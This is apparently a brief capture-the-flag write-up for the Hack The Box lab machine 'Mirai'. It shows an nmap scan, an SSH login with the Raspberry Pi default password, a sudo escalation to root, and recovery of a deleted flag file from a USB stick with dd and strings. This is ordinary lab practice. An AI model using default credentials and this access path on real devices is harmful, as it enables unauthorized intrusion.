

RASPBERRY DEFAULT PASSWORDS TO SSH

SUDO SU

RECOVER DELETED FILES

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)

| ssh-hostkey:

| 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)

| 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)

| 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)

|_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)

53/tcp open domain dnsmasq 2.76

| dns-nsid:

|_ bind.version: dnsmasq-2.76

80/tcp open http lighttpd 1.4.35

|_ http-server-header: lighttpd/1.4.35

|_ http-title: Website Blocked

1341/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)

32400/tcp open http Plex Media Server httpd

| http-auth:

| HTTP/1.1 401 Unauthorized\x0D

|_ Server returned status 401 but no WWW-Authenticate header.

|_ http-cors: HEAD GET POST PUT DELETE OPTIONS

|_ http-title: Unauthorized

32469/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)

<http://mirai.htb/admin/>

<https://www.raspberrypi.org/documentation/remote-access/ssh/unix.md>

pi-raspberry

root@kali:/home/kali/Desktop/hackthebox/mirai# ssh pi@mirai.htb

pi@raspberrypi:~/Desktop \$ sudo -l

Matching Defaults entries for pi on localhost:

```
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
```

User pi may run the following commands on localhost:

```
(ALL : ALL) ALL
```

```
(ALL) NOPASSWD: ALL
```

```
root@raspberrypi:~# cat root.txt
```

I lost my original root.txt! I think I may have a backup on my USB stick...

```
root@raspberrypi:~# df -h
```

```
root@raspberrypi:~# cd /media/usbstick/
```

```
root@raspberrypi:/media/usbstick# cat damnit.txt
```

Damnit! Sorry man I accidentally deleted your files off the USB stick.

Do you know if there is any way to get them back?

-James

```
root@raspberrypi:/media/usbstick# dd if=/dev/sdb of=/tmp/out123 bs=4096
```

```
root@raspberrypi:/media/usbstick# strings /tmp/out123
```